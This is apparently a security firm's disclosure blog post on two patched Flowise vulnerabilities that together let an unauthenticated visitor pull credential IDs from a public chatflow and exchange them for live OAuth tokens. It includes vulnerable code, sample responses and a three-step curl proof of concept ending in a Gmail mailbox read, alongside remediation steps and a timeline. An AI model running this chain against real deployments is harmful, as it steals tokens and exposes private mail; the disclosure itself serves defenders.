Bug of the Week: You shared your chat, so I read your email!

A helpdesk bot on your intranet, wired to the shared mailbox and calendar. Two unauthenticated HTTP requests, and anyone who can open the page is holding a live OAuth token for the accounts behind it.

Bug of the Week is a series from Shinobi Security on findings from recent research and engagements. This week: a disclosed chain in Flowise, an open-source platform for building AI agents, found by our own platform during a white-box test of the codebase. Both halves carry CVEs and both are patched.

The icons under each chatflow show what it's connected to. Every one is a credential somebody granted, sitting in the platform's store, waiting for the chat to use it.

Your IT department builds a helpdesk bot to take the pressure off the service desk, and to make it genuinely useful they wire it into the systems the team actually lives in: the shared IT calendar, the shared mailbox, the GitHub repos. Each of those connections is set up through OAuth, on a real account, with real permissions behind it. Then, because an assistant nobody can find is no use to anyone, they publish it on the intranet.

At which point anyone who can open that page can read the mailbox. There's no exploit involved and nothing to guess, just two unauthenticated HTTP requests that hand over a live OAuth access token carrying whatever access was agreed when the integration was set up.

Nothing clever is required. The chat page has to load its own configuration in order to render, and that configuration lists every account behind the bot, not as passwords but as internal reference numbers pointing at where the real credentials are stored. Harmless enough on the face of it, until you find the second endpoint: hand it one of those reference numbers and it hands back a working key to the account, no questions asked about who you are or why you want it.

We found this in Flowise v3.0.13 and disclosed it to FlowiseAI on 3 March 2026. It's now CVE-2026-41278 (High, 8.7), fixed in 3.1.0, and CVE-2026-70478 (Critical, 9.2), fixed in 3.1.3.

The platform

Flowise calls itself an "open source generative AI development platform for building AI Agents and LLM workflows". Agents, not chatbots. The point is taking actions in other systems, through what Flowise calls tools: Gmail, Google Calendar, Drive, Outlook, Teams, Jira, Stripe and about thirty more. Each tool needs a stored credential, so Flowise keeps them in its own credential store and gives each one an internal ID.

Which makes a Flowise instance a box holding live access to whatever it's wired into. Publishing a Chatflow was only ever meant to share the chat window.

How we found it

We pointed Shinobi at it. The Flowise repository went in as a white-box target and the platform took it from there.

It mapped the hotspots first, ranking where the security-sensitive logic actually lives, and put the auth layer at the top. Inside that sat a whitelist of URL prefixes which skip authentication entirely, 48 of them in v3.0.13. From there it built an attack plan.

The attack plan Shinobi generated from the hotspot map, before any of it was proven.

The plan is the part a scanner can't produce. Taken alone, both whitelisted endpoints look reasonable. One returns a chatflow so the front end can render it. The other refreshes an OAuth token. Neither is a vulnerability by itself. The chain only appears if you hold both at once and ask what the first enables about the second: it hands out credential UUIDs, and the second treats a credential UUID as authority.

Then it proved it, rather than reporting a theory. It pulled a UUID out of the public chatflow, exchanged it for a live access token, used that token against the Gmail API, read the mailbox, and raised the finding as Critical with the reproduction attached.

Raised as Critical, with a Verify Fix action to re-run the same chain against a patched build.

The bug

Leak one. GET /api/v1/public-chatflows/:id returns the full chatflow record when isPublic is set, flowData included:

// packages/server/src/controllers/chatflows/index.ts:218-220 (v3.0.13)
const chatflow = await chatflowsService.getChatflowById(req.params.id)
if (!chatflow) return res.status(StatusCodes.NOT_FOUND).json(...)
if (chatflow.isPublic) return res.status(StatusCodes.OK).json(chatflow)
//                                                          ^^^^^^^^^
// the entire entity, including flowData, returned un-sanitised

flowData describes every node, including its credential reference:

{
  "id": "gmail_0",
  "data": {
    "name": "gmail",
    "type": "Gmail",
    "category": "Tools",
    "credential": "8c4e2b1a-9f3d-4a2c-9e8b-3f5d7a1c2e4b"
  }
}

Those are UUIDs into the credential store. Opaque pointers, unless something else accepts them as authority. The helper meant to strip them, sanitizeFlowDataForPublicEndpoint, doesn't exist in v3.0.13 as shipped on Docker Hub. GET /api/v1/public-chatbotConfig/:id leaks the same way.

Leak two. POST /api/v1/oauth2-credential/refresh/:credentialId is whitelisted at constants.ts:40. Hand it a credential ID and it decrypts the stored credential, calls the provider's token endpoint, and then does one more thing:

// packages/server/src/routes/oauth2/index.ts:393-402 (v3.0.13)
res.json({
  success: true,
  message: 'OAuth2 token refreshed successfully',
  credentialId: credential.id,
  tokenInfo: {
    ...tokenData,                    // includes access_token
    has_new_refresh_token: !!tokenData.refresh_token,
    expires_at: updatedCredentialData.expires_at
  }
})

It returns the token to whoever asked. Post a UUID that doesn't exist and the response settles it:

POST /api/v1/oauth2-credential/refresh/fake-uuid HTTP/1.1
→ HTTP/1.1 200 OK
  {"message":"Credential not found"}

A 200 with credential-existence semantics, not a 401. The handler ran because there was nothing there to stop it.

Two requests, one mailbox

Two unauthenticated requests to Flowise, then an ordinary Gmail API call that Google has no reason to question. The third step doesn't touch Flowise at all, which is why nothing appears in its logs.

# Step 1: pull credential UUIDs out of the shared chatflow
curl https://victim-flowise.example/api/v1/public-chatflows/<public-chatflow-id> \
  | jq -r '.flowData' | jq '.. | .credential? // empty'

# Step 2: exchange a UUID for a live OAuth access token
curl -X POST \
  https://victim-flowise.example/api/v1/oauth2-credential/refresh/<credential-uuid>

# Step 3: use the token against the provider, in this case Gmail
curl -H "Authorization: Bearer <access_token>" \
  'https://gmail.googleapis.com/gmail/v1/users/me/messages?maxResults=20'

Step 2 returns this, tokens truncated:

{
  "success": true,
  "message": "OAuth2 token refreshed successfully",
  "credentialId": "8c4e2b1a-9f3d-4a2c-9e8b-3f5d7a1c2e4b",
  "tokenInfo": {
    "access_token": "ya29.a0AQvPyIP8Q-WkoNS_2jS_xk6...",
    "expires_in": 3599,
    "scope": "https://www.googleapis.com/auth/gmail.readonly https://www.googleapis.com/auth/userinfo.email openid",
    "token_type": "Bearer",
    "id_token": "eyJhbGciOiJSUzI1NiIsImtpZCI6Ij..."
  }
}

Three things in there matter.

The token carries the consent that was granted. Ours was gmail.readonly, enough to read every message in the mailbox. Grant send too and an attacker can send as that mailbox. Connect Google Calendar and they get your maintenance windows, incident bridges and attendee lists. The bug doesn't size this. The consent screen does.

id_token names the victim. It decodes to the account's email address and Google subject ID, so there's no guessing about what's been taken.

The one-hour expiry is not a control. expires_in is 3599, but the endpoint that minted the token needs no authentication and applies no rate limit. The attacker just asks again.

Not every integration is OAuth2, and that changes your response. Flowise stores GitHub as a personal access token, so the refresh endpoint has nothing to refresh and returns a 400. That instance isn't safe, it's exposed through leak one instead, where the advisory records plaintext API keys appearing in flowData. An OAuth grant you revoke at the provider. A static token you have to find and replace.

We ran the chain end to end on our own instance against a Gmail account we own. Two requests for the token, three Gmail API calls, and the whole mailbox opened up.

The mailbox as the attacker sees it, read entirely through Google's API. None of it was accessed through Flowise.

None of that damage lands on the chatbot. And it won't look like account compromise. No failed login, no impossible travel, no new device, nothing in Flowise's own logs. Google saw an application use a token it was legitimately issued.

What to do about it

  1. Find out whether you run this, and who owns it. The CMDB won't know, because tools like this don't come through procurement. Your Google Workspace or Entra ID consent log will. Ask teams "has anyone connected an AI assistant to a company system", not "do we use Flowise".
  2. Upgrade to 3.1.3 or later, then establish which version ran when. On 3.0.13 or earlier the full chain worked. On 3.1.0 through 3.1.2 the refresh endpoint still returned live tokens to anyone holding a credential UUID.
  3. Revoke at the provider, not in Flowise. Rotating the credential record does nothing to a token already taken, and waiting for expiry does nothing while the endpoint reissues on demand. If a mailbox was reachable by someone who shouldn't have reached it, that's a day-one conversation with your DPO.
  4. Inventory the scopes, and split OAuth grants from static API tokens. They need different responses, and the scopes decide how bad your worst case is.

Disclosure timeline

  • 2026-03-03: found, validated end to end against v3.0.13, disclosed to FlowiseAI.
  • 2026-03-16: 3.1.0 closes leak one. Thirteen days after disclosure.
  • 2026-04-15: CVE-2026-41278 published. Two independent reporters file against the same endpoints the same day.
  • 2026-06-25: 3.1.3 removes the access token from the refresh response. A hundred and fourteen days after disclosure.
  • 2026-07-29: CVE-2026-70478 published, Critical, CVSS 9.2. Flowise 3.1.4 ships the same day.

Credit where it's due: the Flowise maintainers were a pleasure to work with throughout. They engaged quickly, asked good questions, shipped fixes and credited the research in both advisories. Leak two took longer than we'd have liked, but the disclosure itself was constructive from start to finish, and that isn't something you can say of every project.

Key takeaways

  • The more you connect it to, the more you have to lose. A chatbot on its own can't do much for you. It gets useful when you plug it into the mailbox, the calendar, the code and the ticket queue, and once you start there is always a reason to plug in one more thing. Every one of those is a real account that a stranger can now reach through a chat window. The mistake in Flowise took two web requests to exploit. The next tool will get something else wrong. What that costs you depends on what you plugged in.
  • Connecting an app to an account means handing it a key. The helpdesk bot had no access of its own. Someone gave it a key to a mailbox and a calendar. Anyone who takes that key can read the mailbox, exactly as the owner can. So treat "connect this app" the way you'd treat giving a new starter the keys to the building, because it's the same decision.
  • Only give it the keys it actually needs. Whoever steals the key gets precisely what you agreed to when you set it up, no more and no less. If that was "read one mailbox", you've had a bad afternoon. If it was full access on an admin account, you've had an incident. So start with the least you can give it, one mailbox or one repository, read-only, on an account created for the bot alone, and add more only when something genuinely stops working. Nobody does this off their own bat. Someone has to ask for it.
  • Ask where the keys are kept, and how well. Here they sat on a self-hosted box that would hand a fresh one to anybody who asked, and kept no record of having done it. You can ask that before you approve the integration, and the answer would have stopped this one.
  • Know how to cancel a key before you need to. Changing anything inside the app is pointless once a key is out, because the copy the attacker holds keeps working. You cancel it at Google, Microsoft or GitHub. Somebody needs to know where that is, ideally because they have done it once already.
  • Don't expect the app to tell you when something is wrong. No failed login, no sign-in from the other side of the world, no new device, nothing in the Flowise logs at all. If you can't say what an app has read in the last month from your own records, you are relying on it to report its own break-in.

Found by Shinobi during a white-box test of Flowise v3.0.13, disclosed 3 March 2026, tracked as CVE-2026-41278 and CVE-2026-70478. Upgrade to 3.1.3 or later. The full audit trail is available on request.

Interested in what Shinobi finds that scanners miss? Visit shinobi.security or follow us for the next Bug of the Week.